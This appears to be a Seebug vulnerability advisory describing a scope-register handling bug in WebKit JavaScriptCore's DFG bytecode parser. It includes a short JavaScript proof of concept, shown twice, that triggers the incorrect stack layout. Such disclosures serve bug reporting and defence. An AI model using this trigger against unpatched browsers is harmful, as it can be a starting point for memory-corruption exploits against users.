WebKit: JSC: Incorrect scope register handling in DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry)

2017-07-27T00:00:00
ID SSV:96305
Type seebug
Reporter Root
Modified 2017-07-27T00:00:00

Description

Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry). void flush(InlineStackEntry* inlineStackEntry) { ... if (m_graph.needsScopeRegister()) flush(m_codeBlock->scopeRegister()); <<--- (a) } At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase.

PoC:

``` function f() { (function () { eval('1'); f(); }());

throw 1;

}

f(); ```

                                        
                                            
                                                function f() {
    (function () {
    	eval('1');
    	f();
    }());

    throw 1;
}

f();